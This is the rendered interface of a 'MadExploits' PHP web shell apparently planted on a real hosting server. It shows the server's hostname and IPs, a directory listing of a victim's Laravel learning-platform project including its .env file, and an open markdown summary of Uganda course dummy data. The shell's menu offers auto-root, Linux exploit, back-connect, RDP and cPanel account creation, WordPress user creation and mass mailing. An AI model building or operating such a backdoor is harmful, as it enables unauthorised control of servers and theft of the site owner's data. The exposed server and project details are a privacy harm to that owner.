Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.168
Cant Read [ /etc/named.conf ]
8.3.26
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
skills-api /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
mobile-app
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-r--r--
.env
1.5
KB
-rw-r--r--
.gitattributes
66
B
-rw-r--r--
.gitignore
41
B
-rw-r--r--
.htaccess
386
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
8LEARNING_TRANSFORMATION_COMPL...
8.33
KB
-rw-r--r--
BACKEND_COMPLETION_SUMMARY.md
3.47
KB
-rw-r--r--
CHAT_REFACTORING_COMPLETION_RE...
5.99
KB
-rw-r--r--
COURSE_ADMIN_CONTROLLERS_SUMMA...
7.93
KB
-rw-r--r--
COURSE_MODULE_DUMMY_DATA_SUMMA...
6.27
KB
-rw-r--r--
EIGHT_LEARNING_API_TEST_RESULT...
6.92
KB
-rw-r--r--
ENHANCED_LEARNING_SYSTEM_PLAN....
9.62
KB
-rw-r--r--
README.md
31
B
-rw-r--r--
artisan
1.65
KB
-rw-r--r--
composer.json
2.22
KB
-rw-r--r--
composer.lock
395.26
KB
-rw-r--r--
debug_registration.php
0
B
-rw-r--r--
error_log
248
B
-rw-r--r--
generate_course_dummy_data.php
39.75
KB
-rw-r--r--
generate_course_dummy_data_bac...
39.75
KB
-rw-r--r--
generate_uganda_course_dummy_d...
15.63
KB
-rw-r--r--
hospital.sql
383.84
KB
-rw-r--r--
important-commands.txt
468
B
-rw-r--r--
loundry-app-stps.md
672
B
-rw-r--r--
package.json
473
B
-rw-r--r--
phpunit.xml
1.17
KB
-rw-r--r--
quick_auth_test.php
2
KB
-rw-r--r--
server.php
563
B
-rw-r--r--
test_all_api_endpoints.php
33.84
KB
-rw-r--r--
test_blog_api.php
4.24
KB
-rw-r--r--
test_camelcase_endpoint.php
1.08
KB
-rw-r--r--
test_chat_api.php
4.09
KB
-rw-r--r--
test_chat_system.php
3.99
KB
-rw-r--r--
test_company_update.php
1.25
KB
-rw-r--r--
test_contact_api.php
2.48
KB
-rw-r--r--
test_delete_account.php
0
B
-rw-r--r--
test_gdpr.php
2.63
KB
-rw-r--r--
test_gdpr_duplicate_request.ph...
2.58
KB
-rw-r--r--
test_learning_api.php
5.17
KB
-rw-r--r--
test_learning_api_complete.php
9.16
KB
-rw-r--r--
test_learning_endpoints.php
9.62
KB
-rw-r--r--
test_login.php
3.17
KB
-rw-r--r--
test_my_chats.php
2.04
KB
-rw-r--r--
test_registration.php
0
B
-rw-r--r--
test_send_message.php
2.57
KB
-rw-r--r--
update_uganda_courses.php
5.58
KB
-rw-r--r--
webpack.mix.js
559
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : COURSE_MODULE_DUMMY_DATA_SUMMARY.md
# Uganda-Focused Course Module Dummy Data - Complete Summary ## �🇬 Successfully Updated for Uganda! ### 📊 Data Statistics - **10 Uganda-Focused Course Categories** - Covering practical skills relevant to Uganda - **50 Practical Skills Courses** - All updated with UGX pricing and local instructors - **579 Course Units** - Structured learning modules - **3,253 Course Materials** - Videos, documents, assignments, quizzes - **50 Course Notifications** - Engagement notifications - **167 Course Quizzes** - Interactive assessments - **100 Course Subscriptions** - Student enrollments - **200 Course Progress Entries** - Learning progress tracking - **323 Quiz Answers** - Student quiz responses - **20 Course Certificates** - Completion certificates - **150 Course Reviews** - Student feedback and ratings ### 🎯 Uganda-Specific Features #### Realistic Course Content for Uganda - **Practical Titles**: "Complete Coffee Farming and Processing Masterclass", "Professional Tailoring and Gomesi Making" - **Ugandan Instructors**: Robert Mukasa, Sarah Namubiru, Grace Nakato, David Ssemakula - **UGX Pricing**: 200,000 UGX - 1,000,000 UGX range - **Difficulty Levels**: Beginner, Intermediate, Advanced - **Local Focus**: All content designed for Ugandan market needs #### Uganda-Focused Course Categories 1. **Agriculture & Farming** - Coffee, maize, poultry, vegetables, pig farming 2. **Carpentry & Woodworking** - Furniture making with local woods, traditional structures 3. **Tailoring & Fashion Design** - Gomesi making, modern African fashion 4. **Small Business & Entrepreneurship** - Market stalls, mobile money, boda boda business 5. **Technology & Computer Skills** - Basic computer literacy, Microsoft Office 6. **Construction & Building** - House construction, plumbing, electrical work 7. **Food Processing & Catering** - Local cuisine, food preservation, catering 8. **Motor Vehicle Mechanics** - Car and motorcycle repair, garage business 9. **Financial Literacy & Savings** - Personal finance, VSLAs, microfinance 10. **Languages & Communication** - English skills, Luganda, public speaking #### Interconnected Data Structure - ✅ **Foreign Key Relationships**: All tables properly linked - ✅ **Unique Constraints**: No duplicate user-course combinations - ✅ **Realistic Progression**: Units ordered logically (1, 2, 3...) - ✅ **Varied Content Types**: Videos, PDFs, assignments, live sessions - ✅ **Assessment Integration**: Quizzes with multiple question types - ✅ **Student Engagement**: Progress tracking, certificates, reviews ### 🗂️ Database Tables Populated | Table | Records | Description | |-------|---------|-------------| | `course_categories` | 10 | Main subject categories | | `courses` | 50 | Complete course catalog | | `course_units` | 579 | Structured learning modules | | `course_materials` | 3,253 | Learning resources | | `course_notifications` | 50 | Student notifications | | `course_quizzes` | 167 | Interactive assessments | | `course_subscriptions` | 100 | Student enrollments | | `course_progress` | 200 | Learning progress tracking | | `quiz_answers` | 323 | Student responses | | `course_certificates` | 20 | Completion certificates | | `course_reviews` | 150 | Student feedback | ### 🎨 Sample Data Examples #### Course Example ``` Title: "Complete Web Development Bootcamp 2025" Instructor: Sarah Johnson Price: $199.99 Level: Beginner Description: "Master HTML, CSS, JavaScript, React, Node.js, and MongoDB..." ``` #### Course Units Example (Course ID 1) 1. "Introduction and Getting Started" (61 min, Preview) 2. "Setting Up the Development Environment" (60 min, Preview) 3. "Understanding the Fundamentals" (44 min) #### Materials Types Generated - 📹 **Video Lectures** (MP4 files) - 📄 **PDF Documents** (Guides and references) - 💻 **Code Assignments** (Practical exercises) - 🎯 **Interactive Quizzes** (Knowledge checks) - 🔴 **Live Sessions** (Real-time instruction) ### 🔗 Data Relationships ``` Course Categories (1) → (many) Courses Courses (1) → (many) Course Units Course Units (1) → (many) Course Materials Courses (1) → (many) Course Quizzes Users (1) → (many) Course Subscriptions Users + Courses → Course Progress Users + Courses → Course Reviews Users + Courses → Course Certificates ``` ### 📁 File Structure Created ``` storage/app/public/ ├── images/courses/ # Course cover images directory └── certificates/ # Certificate PDFs directory ``` ### 🎯 Based on Industry Leaders The dummy data structure and content are modeled after leading online learning platforms: - **Udemy** - Course structure and pricing - **Coursera** - Academic rigor and certificates - **edX** - University-level content organization - **Skillshare** - Creative and practical courses - **LinkedIn Learning** - Professional development focus ### ⚡ Technical Implementation #### Constraint Handling - ✅ **Unique Slugs**: Auto-generated unique course slugs - ✅ **User-Course Uniqueness**: One review/certificate per user per course - ✅ **Foreign Key Integrity**: All relationships properly maintained - ✅ **Data Validation**: Realistic ranges and formats #### Performance Optimized - **Batch Insertions**: Efficient database operations - **Truncate Tables**: Clean slate for each generation - **Indexed Fields**: Proper indexing on foreign keys - **Memory Efficient**: Uses DB facade for large datasets ### 🎬 Next Steps 1. **Add Course Images**: Download cover images to `storage/app/public/images/courses/` 2. **Generate Certificates**: Create PDF certificates in `storage/app/public/certificates/` 3. **API Testing**: Use the populated data to test course-related APIs 4. **Frontend Integration**: Connect the React frontend to display course data ### 🔧 Script Usage ```bash # Run the data generation script cd /Applications/MAMP/htdocs/skills-ug-web php generate_course_dummy_data.php ``` ### ✅ Quality Assurance - **Data Integrity**: All foreign key relationships verified - **Realistic Content**: Based on real-world course platforms - **Proper Constraints**: Unique constraints respected - **Interconnected**: All tables properly linked with meaningful data - **Scalable**: Easy to modify quantities and add more data --- **Generated on**: July 14, 2025 **Script**: `generate_course_dummy_data.php` **Status**: ✅ Complete and Ready for Use
Close